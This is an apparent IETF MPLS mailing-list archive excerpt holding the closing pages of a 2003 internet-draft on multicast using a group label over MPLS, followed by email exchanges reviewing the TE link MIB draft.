  6. After distributing the Resv message from multiple receiver to a =20
     sender, the P2MP LSP is established and starts P2MP communication,=20
     which a single sender and two =20
     or more receivers are sharing the common group label.=20
  =20
  +------------------------------------------+=20
  |                             Hello        | =20
  |                           <------        |=20
=20
=20
Choi, et. al.                                                [Page  11]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  |                           +--------B     |=20
  |        Hello   +-----+    |              |            =20
  |       -------> |     |<---+--------C     |=20
  |     A--------->|  S  |                   |=20
  |                |     |<---+--------D     |=20
  |                +-----+    |              |=20
  |                           +--------E     |=20
  |                           <-------       | =20
  | single MPLS domain          Hello        |=20
  +------------------------------------------+=20
  =20
                         Path=20
                       --------->  =20
                   +----------------B    =20
                   |   <---------=20
                   |     Resv=20
                   |    =20
                   |  =20
       Path        |      Path=20
     -------->   +---+  --------->=20
  A--------------| S |--------------C=20
     <--------   +---+  <---------=20
       Resv        |      Resv=20
                   |  =20
                   |=20
                   |     Path=20
                   |   ---------> =20
                   +----------------D=20
                       <---------=20
                         Resv=20
  =20
  Figure 1. Set up for a point-to-multipoint connection=20
  =20
5.2 Joining Mechanism=20
  =20
  After establishing P2MP communication, the following mechanism is=20
  applied when a new LSR intends to join this group.=20
  =20
  -
    a new LSR sends a join message to a server.=20
  -
    The server stores the information extracted from a Join message in=20
     NIB and then forwards the join message to the sender.=20
  -
    The sender received the join message sends a Path message=20
     containing group label request to the server. =20
  -
    The server received the Path message sends it to the new LSR if=20
     being traffic-negotiable about explicit route.=20
     Otherwise, the server sends notification message to the sender and=20
     teardown message to the new LSR.=20
  -
    The new LSR received the Path message sends Resv message to a=20
     server. =20
  -
    Then, the server forwards it to the sender and the new LSR can=20
     join the P2MP communication.=20
=20
=20
Choi, et. al.                                                [Page  12]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
  The procedure of joining mechanism is illustrated in Figure 2. =20
  =20
                   +--------------------------B    =20
                   |                        |=20
                   |   .                    |=20
                   |   .                    |=20
                 +---+ .                    |=20
  A--------------| S |--------------C       |=20
   |             +---+                      |=20
   |   Join        |   Join                 |=20
   |<--------------|<-----------------------| =20
   |               |                        |=20
   |   Path        |   Path                 |=20
   |-------------->|----------------------->|=20
   |               |                        |=20
   |   Resv        |   Resv                 |=20
   |<--------------|<-----------------------|=20
   |               |                        |=20
  =20
  Figure 2. Joining mechanism=20
  =20
5.3 Leaving Mechanism=20
  =20
  Among LSRs joining the P2MP communication, the LSR which intends to=20
  tear down the connection sends a leave message to a server. The=20
  server sends a notification message to the sender and a teardown=20
  message to the LSR which requests to leave. =20
  The procedure of leaving mechanism is illustrated in Figure 3.=20
  =20
                    +--------------------------B    =20
                   |                        |=20
                   |   .                    |=20
                   |   .                    |=20
                 +---+ .                    |=20
  A--------------| S |---------------C      |=20
   |             +---+                      |=20
   |               |   Leave                |=20
   |  Notification |<-----------------------| =20
   |<--------------|                        | =20
   |               |                        |=20
   |               |   teardown             |=20
   |               |----------------------->|=20
   |               |                        |=20
  =20
  Figure 3. Leaving mechanism=20
=20
6. Extended Format for Multicast Service=20
=20
6.1 Required Message =20
=20
=20
=20
Choi, et. al.                                                [Page  13]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
6.1.1 Path Message=20
=20
  In case a single LSR within a MPLS domain creates a Path message with=20
  label request which requires allocating group label and sends to the=20
  server, the rest of LSRS becomes receivers. The server sends Path=20
  message along the explicit routes registered in NIB. The modified=20
  message is shown in Figure 4.=20
  =20
    <path Message> ::=3D <Common Header> [ <INTEGRITY> ]=20
                       <SESSION> <REVP-HOP>=20
                       <TIME-VALUE>=20
                       <GROUP-LABEL-REQUEST>=20
                       [ <SESSION-ATTRIBUTE> ]=20
                       [ <POLICY-DATA> ...  ]=20
                       <sender descriptor>=20
  =20
    <sender descriptor> ::=3D <SENDER-TEMPLATE> <SENDER-TSPEC>=20
  =20
  Figure 4. Path message=20
  =20
6.1.2 Resv Message=20
=20
  LSRs received path message from server allocate a group label as a=20
  part of Resv message and is sent through the server to the sender=20
  along the reverse path of Path message. The modified format of Resv=20
  message is as follows in Figure 5.=20
  =20
    <Resv Message> ::=3D <Common Header> [ <INTEGRITY> ]=20
                       <SESSION> <RSVP-HOP>=20
                       <TIME-VALUE>=20
                       [ <RESV-CONFIRM> ] [ <SCOPE> ]=20
                       [ <POLICY-DATA> ... ]=20
                       <STYLE> <flow descriptor list>=20
  =20
    <flow descriptor list> ::=3D <FF flow descriptor list>=20
                             | <SE flow descriptor list>=20
  =20
    <FF flow descriptor list> ::=3D <FLOWSPEC> <FILTER-SPEC>=20
                                  <GROUP-LABEL> [ <RECORD-ROUTE> ]=20
                                  | <FF flow descriptor list>=20
                                  <FF flow descriptor>=20
  =20
    <FF flow descriptor> ::=3D [ <FLOWSPEC> ] <FILTER-SPEC>=20
                              <GROUP-LABEL> [ <RECORD-ROUTE> ]=20
                              =20
    <SE flow descriptor> ::=3D <FLOWSPEC> <SE filter spec list>=20
  =20
    <SE filter spec list> ::=3D <SE filter spec>=20
                              | <SE filter spec list> <SE filter spec>=20
  =20
    <SE filter spec> ::=3D <FILTER-SPEC>=20
=20
=20
Choi, et. al.                                                [Page  14]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
                         <GROUP-LABEL> [ <RECORD-ROUTE> ]=20
  =20
  Figure 5. Resv message=20
  =20
6.2 Extended Object=20
=20
6.2.1 Hello object for Group Management=20
=20
  The purpose of this message is to allow a server to maintain the NIB.=20
  The hello message with hello object periodically transmits to a=20
  server. The modified hello object is shown in Figure 6. This object=20
  has explicit route object to indicate a particular path from server=20
  to each LSR within a MPLS domain.=20
  =20
  0                   1                   2                   3=20
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |                          Src-Instance                         |=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |                          Dst-Instance                         |=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |Flg|L|           Type            |           length            |  =20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |                                                               | =20
  //                          Subobjects                          //=20
  |                                                               |=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  =20
  Flg=20
      If set to one, this message is used for group management.=20
      Otherwise, this message doesn=92t use explicit route object.=20
  =20
  Figure 6. Hello object=20
=20
6.2.2 Group Label Object=20
=20
  The group label is recognized to all of the LSRs within P2MP label=20
  switched path of a single MPLS domain. Since the path message=20
  reserves the traffic engineered explicit registered in NIB, this=20
  label may be carried by Resv message and forwarded to the reverse=20
  explicit routes.=20
  If a node handles the Resv message with the common group label object, =

  this node can join the P2MP communication.=20
  The group label object has the following format:=20
  =20
  LABEL class =3D 16, C-Type =3D 2=20
  =20
  0                   1                   2                   3=20
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |                          Group label                          |=20
=20
=20
Choi, et. al.                                                [Page  15]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  =20
  Figure 7. Group label object=20
  =20
6.2.3 Group Label Request Object=20
=20
  To establish a P2MP communication, the sender creates path message=20
  with label request object for group label allocation. This label=20
  request object specifies the range of group label and triggers the=20
  nodes registered in NIB to allocate a group label and to place the=20
  group label of Resv message. The group label must be allocated from=20
  that range. The group label request object is shown in Figure 8.=20
  =20
  class =3D 19, C-Type =3D 4=20
  =20
  0                   1                   2                   3=20
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 =20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |          Reserved             |             L3PID             |=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |Flg| Reserved    |           Minimum group label               |=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  |     Reserved    |           Maximum group label               |=20
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+=20
  =20
  Flg=20
      If set to one, it is used for group label request=20
      Otherwise, it is used for generic label request.=20
  =20
  Reserved=20
       =20
       This field is reserved. It MUST be set to zero on transmission=20
       and MUST be ignored on receipt.=20
  =20
  Figure 8. Label request object=20
  =20
Security Considerations=20
  =20
  This document does not have any security concerns. The security=20
  requirements using this document are described in the referenced=20
  documents.=20
  =20
References=20
  =20
  [1] D. Awduche, et al.. "Requirements for Traffic Engineering over=20
       MPLS", September 1999.=20
  =20
  [2] E. Rosen, et al.. "Multiprotocol Label Switching Architecture",    =
     =20
       January 2001.=20
  =20
  [3] L. Andersson, et al.. "LDP Specification", January 2001.=20
=20
=20
Choi, et. al.                                                [Page  16]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
  [4] D. Awduche, et al.. "RSVP-TE: Extensions to RSVP for LSP Tunnels", =

       December 2001.=20
  =20
  [5] B.Jamoussi, et al.. "Constraint-Based LSP Setup using LDP",=20
       January 2002.=20
  =20
  [6] D. Ooms, et al.. "Overview of IP Multicast in a Multiprotocol=20
       Label Switching Environment", August 2002.=20
  =20
  [7] S. Yasukawa, et al.. "Extended RSVP-TE for Point-to-Multipoint=20
       LSP Tunnels-00", Internet Draft, January, 2003.=20
  =20
  [8] "B-ISDN network requirements", ITU-T Recommendation I.313,=20
  September 1997.=20
  =20
  [9] S. Yasukawa, et al.. "Requirements for Point-to-Multipoint=20
  capabilities extensions to MPLS", August 2003.=20
  =20
  [10] W. Augustyn, et al.. "Service Requirements for Layer 2 Provider=20
  Provisioned Virtual Private Networks", August 2003.=20
  =20
  =20
  =20
=20
=20
Choi, et. al.                                                [Page  17]=20
=0C
Requirements for multicast service using a group label =20
over MPLS                                                November 2003=20
=20
  =20
Author's Address=20
  =20
  Jun Kyun Choi=20
  Information and Communications University (ICU)=20
  58-4 Hwa Ahm-Dong, Yusong-Gu, Taejon =20
  Korea 305-732=20
  Phone: +82-42-866-6122=20
  Email: jkchoi@icu.ac.kr=20
  =20
  Min Suk Sung=20
  Information and Communications University (ICU)=20
  58-4 Hwa Ahm-Dong, Yusong-Gu, Taejon =20
  Korea 305-732=20
  Phone: +82-42-866-6198=20
  Email: mssung@icu.ac.kr=20
  =20
  Sun Hee Yang=20
  Electronics and Telecommunications Research Institute (ETRI)=20
  161 Ka Jong-Dong, Yusong-Gu, Taejon=20
  Korea 305-600=20
  Phone: +82-42-860-6122 =20
  E-mail: shyang@etri.re.kr=20
  =20
  Hyoung Jun Kim=20
  Electronics and Telecommunications Research Institute (ETRI)=20
  161 Ka Jong-Dong, Yusong-Gu, Taejon=20
  Korea 305-600=20
  Phone: +82-42-860-6576 =20
  E-mail: khj@etri.re.kr=20
  =20
  Jae Hoon Yoo=20
  Electronics and Telecommunications Research Institute (ETRI)=20
  161 Ka Jong-Dong, Yusong-Gu, Taejon=20
  Korea 305-600=20
  Phone: +82-42-860-1602 =20
  E-mail: jh-yoo@etri.re.kr=20
  =20
  Hyeong Ho Lee=20
  Electronics and Telecommunications Research Institute (ETRI)=20
  161 Ka Jong-Dong, Yusong-Gu, Taejon=20
  Korea 305-600=20
  Phone: +82-42-860-6130 =20
  E-mail: holee@etri.re.kr=20
  =20
=20
=20
Choi, et. al.                                                [Page  18] =
=0C

------=_NextPart_000_0001_01C3985E.2F810C00--



From owner-mpls@UU.NET  Wed Oct 22 08:39:49 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05945
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 08:39:48 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmw13499
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 12:39:56 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplmw13273;
	Wed, 22 Oct 2003 12:39:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplmv28077
	for mpls-outgoing; Wed, 22 Oct 2003 12:21:25 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplmv28072
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 12:21:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplmv21953
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:20:23 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmv13834
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:20:23 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQplmv13826
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:20:22 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 22 Oct 2003 05:21:15 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9MCKIQY004585
	for <mpls@uu.net>; Wed, 22 Oct 2003 05:20:18 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ07835;
	Wed, 22 Oct 2003 08:20:17 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9MCKHT15864 for mpls@uu.net; Wed, 22 Oct 2003 08:20:17 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplms04488
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 11:33:48 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplms02537
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:33:01 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplms18573
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:33:01 GMT
Received: from fep01-mail.bloor.is.net.cable.rogers.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	id QQplms18563
	for <mpls@uu.net>; Wed, 22 Oct 2003 11:33:00 GMT
Received: from dune ([24.103.66.219])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20031022113256.OXPD61510.fep01-mail.bloor.is.net.cable.rogers.com@dune>;
          Wed, 22 Oct 2003 07:32:56 -0400
Message-ID: <001201c39890$255a66e0$2202a8c0@flfrd.phub.net.cable.rogers.com>
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Dave Thaler" <dthaler@windows.microsoft.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>, "Bert Wijnen" <bwijnen@lucent.com>,
        "Sudheer Dharanikota" <sudheer@ieee.org>,
        "Jonathan Lang" <jplang@ieee.org>, "Loa Andersson" <loa@pi.se>,
        "Mpls \(E-mail\)" <mpls@UU.NET>
References: <C9588551DE135A41AA2626CB6453093704759D7C@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 07:32:15 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4922.1500
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4925.2800
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.103.66.219] using ID <dubuc.consulting@rogers.com> at Wed, 22 Oct 2003 07:32:56 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Dave,

The TE link MIB makes extensive use of the interface table. Our
specification relies on this part of MIB-II.

I will add text in the DESCIRPTION clause to emphasize the relationship
between teLinkLocalIpAddr and ipAddrTable.

Martin

----- Original Message -----
From: "Dave Thaler" <dthaler@windows.microsoft.com>
To: "Martin Dubuc" <dubuc.consulting@rogers.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen" <bwijnen@lucent.com>;
"Sudheer Dharanikota" <sudheer@ieee.org>; "Jonathan Lang" <jplang@ieee.org>;
"Loa Andersson" <loa@pi.se>
Sent: Tuesday, October 21, 2003 4:12 PM
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt


> -----Original Message-----
> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
[...]
> ----- Original Message -----
> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> To: <tnadeau@cisco.com>; "Martin Dubuc" <dubuc.consulting@rogers.com>;
> "Wijnen, Bert (Bert)" <bwijnen@lucent.com>; <sudheer@ieee.org>;
> <jplang@ieee.org>
> Sent: Monday, October 06, 2003 10:11 PM
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
>
> Sorry for the delay, but I've been reading a bunch of relevant
documents
> so I can help resolve the issue.  Besides the mpls-telink-mib and the
> tewg-mib, I've now read all of the following in entirety:
>
> [RFC2702] "Requirements for Traffic Engineering Over MPLS"
> [OSPF-TE] "Traffic Engineering Extensions to OSPF Version 2"
> [LSP-HIER] "LSP Hierarchy with Generalized MPLS TE"
> [BUNDLE] "Link Bundling in MPLS Traffic Engineering"
> [GMPLS-ROUTING] "Routing Extensions in Support of Generalized MPLS"
>
> as well as some portions of other documents such as [MPLS-TE-STD-MIB]
> and [GMPLS-ARCH].
>
> Even after all that, the address model was not really cleared up for
me.
> [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language related
> to the local and remote IP address.
>
> I'm back to my original question about:
> > it is unclear whether the IP addresses are those used for
> > encapsulation (i.e. like MAC addresses from the point of
> > view of the teLink interface), or those assigned to the inside.
> > I'm assuming the former, since the latter would definitely be
> redundant
> > with the inet address table like on any other interface.
>
> In the email below I had assumed the former.  After reading the
> documents above, I'm more inclined to believe it's the latter.
> Can someone confirm this?  Put another way:
>
> Q: If you look in the ipAddrTable for the corresponding entry for the
IP
> address in a teLinkLocalIpAddr object on a numbered TE link, what is
the
> value of ipAdEntIfIndex?  What is the relationship of that interface
to
> the TE link?
> (e.g. in the example on page 12, is it the ifIndex of the mpls
> interface,
> the teLink interface, or the opticalTransport interface?  Previously I
> had assumed the answer would be the opticalTransport interface, but
now
> I'm more inclined to believe it's one of the others in which case
> Thomas'
> summary of my misunderstanding below would be more or less accurate.
> In any case, none of the documents listed above give a clear answer to
> this question.)
>
> [Martin] You are right, it is the latter. The IP address is the IP
address
> of
> the teLink interface. It is redundant with ipAddrTable, but we would
like
> not
> to have to rely on the presence of ipAddrTable to get access to this
> information.

Martin, thanks much for the confirmation.  I'm curious about
your last statement though.  Are you concerned about implementing
this MIB on systems which do not implement MIB-II?

If you do need redundant objects for some reason, then it would
be good for the DESCRIPTION clause to mention that it is in fact
redundant, so implementers can ensure both objects have the same value.

-Dave



From owner-mpls@UU.NET  Wed Oct 22 08:43:05 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA06075
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 08:43:04 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmw14915
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 12:43:13 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplmw14762;
	Wed, 22 Oct 2003 12:43:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplmv28192
	for mpls-outgoing; Wed, 22 Oct 2003 12:23:44 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplmv28186
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 22 Oct 2003 12:23:41 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplmv21757
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:19:46 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplmv03161
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:19:45 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQplmv03150
	for <mpls@uu.net>; Wed, 22 Oct 2003 12:19:45 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9MCJfQY003924
	for <mpls@uu.net>; Wed, 22 Oct 2003 05:19:42 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ07810;
	Wed, 22 Oct 2003 08:19:41 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9MCJfj15810 for mpls@uu.net; Wed, 22 Oct 2003 08:19:41 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpljb14681
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 21 Oct 2003 11:54:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpljb20036
	for <mpls@uu.net>; Tue, 21 Oct 2003 11:49:56 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpljb15186
	for <mpls@uu.net>; Tue, 21 Oct 2003 11:49:56 GMT
Received: from fep01-mail.bloor.is.net.cable.rogers.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	id QQpljb15174
	for <mpls@uu.net>; Tue, 21 Oct 2003 11:49:55 GMT
Received: from dune ([24.103.66.219])
          by fep01-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20031021114954.GOFD61510.fep01-mail.bloor.is.net.cable.rogers.com@dune>
          for <mpls@uu.net>; Tue, 21 Oct 2003 07:49:54 -0400
Message-ID: <009001c397c9$57734a60$2202a8c0@flfrd.phub.net.cable.rogers.com>
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Mpls \(E-mail\)" <mpls@UU.NET>
Subject: Fw: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Tue, 21 Oct 2003 07:49:10 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4922.1500
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4925.2800
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep01-mail.bloor.is.net.cable.rogers.com from [24.103.66.219] using ID <dubuc.consulting@rogers.com> at Tue, 21 Oct 2003 07:49:54 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


----- Original Message -----
From: "Martin Dubuc" <dubuc.consulting@rogers.com>
To: "Dave Thaler" <dthaler@windows.microsoft.com>
Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen" <bwijnen@lucent.com>;
"Sudheer Dharanikota" <sudheer@ieee.org>; "Jonathan Lang" <jplang@ieee.org>;
"Loa Andersson" <loa@pi.se>
Sent: Monday, October 20, 2003 10:33 PM
Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt


> Dave,
>
> See comments below. I will make an update to the document to address your
> comments.
>
> Martin
>
> ----- Original Message -----
> From: "Dave Thaler" <dthaler@windows.microsoft.com>
> To: <tnadeau@cisco.com>; "Martin Dubuc" <dubuc.consulting@rogers.com>;
> "Wijnen, Bert (Bert)" <bwijnen@lucent.com>; <sudheer@ieee.org>;
> <jplang@ieee.org>
> Sent: Monday, October 06, 2003 10:11 PM
> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
>
> Sorry for the delay, but I've been reading a bunch of relevant documents
> so I can help resolve the issue.  Besides the mpls-telink-mib and the
> tewg-mib, I've now read all of the following in entirety:
>
> [RFC2702] "Requirements for Traffic Engineering Over MPLS"
> [OSPF-TE] "Traffic Engineering Extensions to OSPF Version 2"
> [LSP-HIER] "LSP Hierarchy with Generalized MPLS TE"
> [BUNDLE] "Link Bundling in MPLS Traffic Engineering"
> [GMPLS-ROUTING] "Routing Extensions in Support of Generalized MPLS"
>
> as well as some portions of other documents such as [MPLS-TE-STD-MIB]
> and [GMPLS-ARCH].
>
> Even after all that, the address model was not really cleared up for me.
> [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language related
> to the local and remote IP address.
>
> I'm back to my original question about:
> > it is unclear whether the IP addresses are those used for
> > encapsulation (i.e. like MAC addresses from the point of
> > view of the teLink interface), or those assigned to the inside.
> > I'm assuming the former, since the latter would definitely be
> redundant
> > with the inet address table like on any other interface.
>
> In the email below I had assumed the former.  After reading the
> documents above, I'm more inclined to believe it's the latter.
> Can someone confirm this?  Put another way:
>
> Q: If you look in the ipAddrTable for the corresponding entry for the IP
> address in a teLinkLocalIpAddr object on a numbered TE link, what is the
> value of ipAdEntIfIndex?  What is the relationship of that interface to
> the TE link?
> (e.g. in the example on page 12, is it the ifIndex of the mpls
> interface,
> the teLink interface, or the opticalTransport interface?  Previously I
> had assumed the answer would be the opticalTransport interface, but now
> I'm more inclined to believe it's one of the others in which case
> Thomas'
> summary of my misunderstanding below would be more or less accurate.
> In any case, none of the documents listed above give a clear answer to
> this question.)
>
> [Martin] You are right, it is the latter. The IP address is the IP address
> of
> the teLink interface. It is redundant with ipAddrTable, but we would like
> not
> to have to rely on the presence of ipAddrTable to get access to this
> information.
>
>
> In addition, I will add the following items to my review of the
> document:
>
> 1) teLinkIncomingIfId
>     SYNTAX InterfaceIndexOrZero
> Problem: RFC2863 defines InterfaceIndex as
> "A unique value, greater than zero, for each interface or interface
> sub-layer in the managed system."  However, this is a number which is
> not for an interface _in the managed system_.  Hence the use of this
> TC is inappropriate.  I believe it should instead use
>     SYNTAX Integer32 (0..2147483647)
> so that management stations will not look for a corresponding entry
> in the ifTable.
>
> [Martin] I can make this change.
>
>
> 2) teLinkOutgoingIfId
>        "If the link is unnumbered, the outgoing interface identifier is
>         set to the outgoing interface identifier chosen for the TE link
>         by the advertising LSR. For numbered links, the address is
>         stored in the teLinkLocalIpAddr instead."
> It is unclear what is meant by "instead".  If the value here should be
> 0,
> say that explicitly, as in:
>        "If the link is unnumbered, the outgoing interface identifier is
>         set to the outgoing interface identifier chosen for the TE link
>         by the advertising LSR. If the link is numbered, the value is
> 0."
